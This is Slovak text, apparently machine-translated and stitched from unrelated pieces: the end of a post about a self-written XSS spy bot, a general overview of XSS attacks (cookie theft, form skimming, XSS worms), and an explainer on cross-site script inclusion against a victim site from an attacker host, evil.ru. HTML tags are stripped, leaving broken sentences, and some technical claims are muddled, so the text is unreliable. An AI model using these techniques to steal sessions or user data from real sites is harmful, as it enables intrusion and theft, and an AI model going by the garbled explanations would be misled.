To znamená, že na sofistikovanom webe bude prechodové tlačidlo (subjektívne odkaz) implementované prostredníctvom bežného tagu , ktorý je nabitý štýlmi a ku ktorému sú pripojené obslužné programy udalostí, z ktorých jeden je napr. onclick presmeruje používateľa na inú stránku. Existujú aj štandardné prvky ako [i] alebo on sám atď., čo sú vlastne aj odkazy na iné stránky, na ktoré však BeEF nebude reagovať a stránka sa jednoducho neaktualizuje, keď kliknete na väčšinu tlačidiel a iných prvkov. Čo môže používateľa vyzvať, aby obnovil stránku alebo znova vstúpil z druhej strany, čo ukončí našu aktívnu reláciu XSS.
Pre stručnosť pri pomenovaní súborov som to nazval Xss Spy Bot.
P.S.
Toto celé trvalo napísať niečo vyše mesiaca kvôli pravidelnému nedostatku času a neustálemu rozptyľovaniu. Aj kvôli tomu je kvalita kódu a pravdepodobnosť, že narazíte na nejakú chybu, dosť vysoká. Prosím vás teda, aby ste príliš nenadávali, ale napísali, čo komu je, aby sa to dalo napraviť.
Sám som bota testoval iba na 4 počítačoch, pričom na všetkých bežal Debian.
Dlhodobé plány pre tohto robota, ak existuje motivácia:
— implementovať vykresľovanie kódu stránok, ktoré robot posiela na server, aby sa okamžite otvoril v prehliadači a mohol sa „dotýkať“ a testovať za behu;
— budú sa snažiť uloviť dobroty z technológie WebRTC, teda nájsť spôsoby, ako ich získať nové informácie, ktorý nie je vytiahnutý čistým JS;
— implementovať komunikáciu medzi robotom a serverom pomocou protokolu WebSocket cez HTTP;
— pridať niektoré vymoženosti do ovládacieho panela;
Naposledy aktualizované 18. novembra 2016.
Skúsení útočníci pomocou XSS integrujú skripty, ktoré sú na nich spustené, na stránky stránok obetí, ktoré sa spúšťajú pri návšteve infikovaných zdrojov. Existuje niekoľko typov zraniteľností XSS, ktoré predstavujú rôzne stupne závažnosti.
Vlastnosti pasívnej a aktívnej zraniteľnostiPri riešení aktívnych zraniteľností by ste mali byť maximálne opatrní. Keď útočník vloží svoj SQL kód do dostupnej databázy alebo súboru na serveri, každý návštevník infikovaného zdroja sa môže stať obeťou. Takéto miesta sú často integrované, takže aj údaje uložené v databáze spracovávanej vašou ochranou môžu stále predstavovať určité nebezpečenstvo.
Vytvorenie pasívnej zraniteľnosti XSS vyžaduje určitú kreativitu zo strany útočníka. Buď vás nalákajú na falošný zdroj všemožnými odkazmi, alebo sa vás snažia akýmkoľvek spôsobom presmerovať na požadovanú stránku. Zvyčajne sa to deje prostredníctvom listov od fiktívnej administrácie stránky, ktorú navštevujete, s výzvou na kontrolu nastavení účtu. Aktívne sa využívajú aj rôzne spamy alebo príspevky na hojne navštevovaných fórach.
Pasívne zraniteľnosti XSS môžu pochádzať z parametrov POST aj GET. Prvé sa vyznačujú množstvom rôznych trikov, zatiaľ čo druhé sa vyznačujú kódovaním reťazca URL alebo vkladaním ďalších hodnôt.
Krádež cookiesNajčastejšie sú to vaše cookies, ktoré sa stávajú cieľom XSS útoku. Niekedy obsahujú cenné informácie vrátane používateľských prihlasovacích údajov a hesiel alebo ich hash. Ale kradnutie aktívnych relácií stránok, ktoré sú pre vás dôležité, je tiež dosť nebezpečné, takže nezabudnite kliknúť na tlačidlo „exit“ aj pri návšteve stránok s domáci počítač. Hoci väčšina zdrojov používa automatické obmedzenia trvania relácie, aby sa zabránilo takýmto akciám. Obmedzenia domény XMLHttpRequest nechránia pred takýmito útokmi.
Údaje z vyplnených formulárovObľúbené je aj čítanie informácií vo vyplniteľných formulároch. Na tento účel sa na zaujímavých stránkach vykonáva sledovanie udalostí (onsubmit) a všetky poskytnuté údaje sa odosielajú aj na servery útočníkov. Takéto útoky sú v mnohom podobné phishingovým útokom, no ku krádeži nedochádza na falošnej, ale na skutočnej stránke s dobrou povesťou.
Distribuované DDoS útokyNa útoky XSS sa používajú aj zdroje s viacerými návštevami. Vďaka zraniteľnosti XSS sú požiadavky prichádzajúce na ne presmerované na napadnutý server, v dôsledku čoho jeho ochrana zlyhá.
Falšovanie žiadostí medzi stránkami (CSRF/XSRF)S XSS majú tiež málo spoločného. Ide o samostatný typ zraniteľnosti, ktorý sa používa v kombinácii s XSS. Ich cieľom je nalákať oprávneného používateľa z nezraniteľnej stránky na falošnú zraniteľnú stránku, aby vykonával podvodné transakcie. Napríklad klient, ktorý používa elektronický systém platby sú lákané na zraniteľnú webovú stránku, ktorá prevádza peniaze na účty útočníkov. Preto väčšina platobných systémov poskytuje ochranu dodatočným zadaním hesla alebo kódu potvrdzujúceho operáciu.
Injekcia červov XSSTakýto XSS útok na webovú stránku sa objavil s rozvojom známych sociálnych sietí (VKontakte, Twitter a ďalšie). Prostredníctvom nich dostávajú celé skupiny používateľov zraniteľné XSS odkazy s integrovanými skriptami, ktoré v ich mene posielajú spam cez siete. Je tiež široko zaužívané súčasné kopírovanie osobných informácií a fotografií do zdrojov útočníkov.
Príklady neškodného XSSVšimnite si, že mnohé typy počítadiel fungujú aj ako aktívne XSS. Prenášajú údaje o registrovaných návštevníkoch (ich IP adresy, údaje o použitom zariadení).
Iba tento kód je integrovaný do vášho počítača podľa vašej vôle. Iné podobné XSS môžu ľahko zahŕňať množstvo požiadaviek AJAX medzi doménami.
O možnosti získať rôzne informácie zo stránok tretích strán pomocou jednoduchého útoku - Cross Site Zahrnutie skriptovania (XSSI).
Ak čítate Easy Hack systematicky, potom už pravdepodobne veľmi dobre poznáte zásady rovnakého pôvodu (SOP), často sa k nim vraciame. Vzhľadom na SOP je možnosť interakcie medzi týmito dvoma „lokáciami“ veľmi obmedzená. Keďže však často vzniká úloha prijímať a odosielať informácie na jednej stránke z inej stránky, zaviedli sme rôzne metódy„zmäkčiť“ politiku a organizovať interakciu. Napríklad CORS alebo crossdomain.xml. Jednou zo starších metód je načítanie JavaScriptu z inej domény cez . SOP nás nijako neobmedzuje: môžete určiť takmer ľubovoľné umiestnenie.
Napríklad existuje útočníkov hostiteľ evil.ru a webová stránka obete - obete.com. Na evil.ru môžeme umiestniť súbor HTML a odkaz na ľubovoľný skript od obete:
Keď používateľ vstúpi na webovú stránku útočníka, prehliadač načíta a spustí JS z obete.com, ale v kontexte SOP evil.ru. To znamená, že z útočníkovho JS budeme mať prístup (nie ku všetkým) JS dátam zo servera obete.
Napríklad obsah JS zo stránky obete (http://victim.com/any_script_.js):
Var a = "12345";
Potom na webovej stránke útočníka môžeme získať hodnotu premennej:
console.log(a);
Myšlienka práce je jednoduchá ako hliníková kanvica.
V skutočnosti možnosť načítať statický JS z iných stránok nepredstavuje pre stránku obete väčší problém ako načítanie obrázka.
Problémy môžu nastať, keď sa JS generuje dynamicky, teda keď sa obsah skriptu JS mení na základe údajov z cookie v závislosti od toho, ktorý používateľ k nemu pristupuje. Napríklad JS uchováva niektoré „kritické“ informácie: osobné informácie (e-mail, používateľské meno na stránke obete) alebo technické informácie (anti-CSRF tokeny).
Ako však vieme, pri načítaní skriptu prostredníctvom značky prehliadač používateľa automaticky odošle používateľovi súbor cookie. Sčítaním týchto skutočností sme schopní získať informácie o každom používateľovi, ktorý navštívil webovú stránku útočníka a je prihlásený na stránke obete.
Čo môžeme zistiť? Globálne premenné a výsledky globálnych funkcií. Bohužiaľ, nebudeme mať prístup k interným premenným/funkciám (aj keď možno niekto nájde spôsob, ako to urobiť).
Test funkcie ())( return "private data frm function"; )
Tento útok vyzerá ako možný, ale zdá sa byť príliš jednoduchý a nemal by byť bežný. To je to, čo robí prezentáciu na Black Hat zaujímavou. Výskumníci analyzovali 150 populárnych webových stránok a zistili, že tretina z nich bola do určitej miery zraniteľná. Tieto štatistiky nás nútia pozrieť sa na problém trochu bližšie.
Odhalil sa aj ďalší vzor. Zásady zabezpečenia obsahu sú čoraz bežnejšie. Ako viete, pomocou toho môžeme určiť, z ktorých domén je možné načítať tento alebo ten zdroj. Môžete napríklad povedať, že spustíte JS iba z rovnakého zdroja. okrem toho osvedčené postupy Nastavenia CSP znamenajú zákaz spúšťania inline JS (to znamená kódu, ktorý sa nachádza priamo v HTML a nenačítava sa zo súboru JS).
Prenos inline do súborov sa však dá urobiť barlami a narýchlo – teda prostredníctvom dynamicky generovaných skriptov. Keďže CSP nemá žiadny vplyv na XSSI, môžeme opäť vykonávať naše útoky. Toto je taká zlá prax.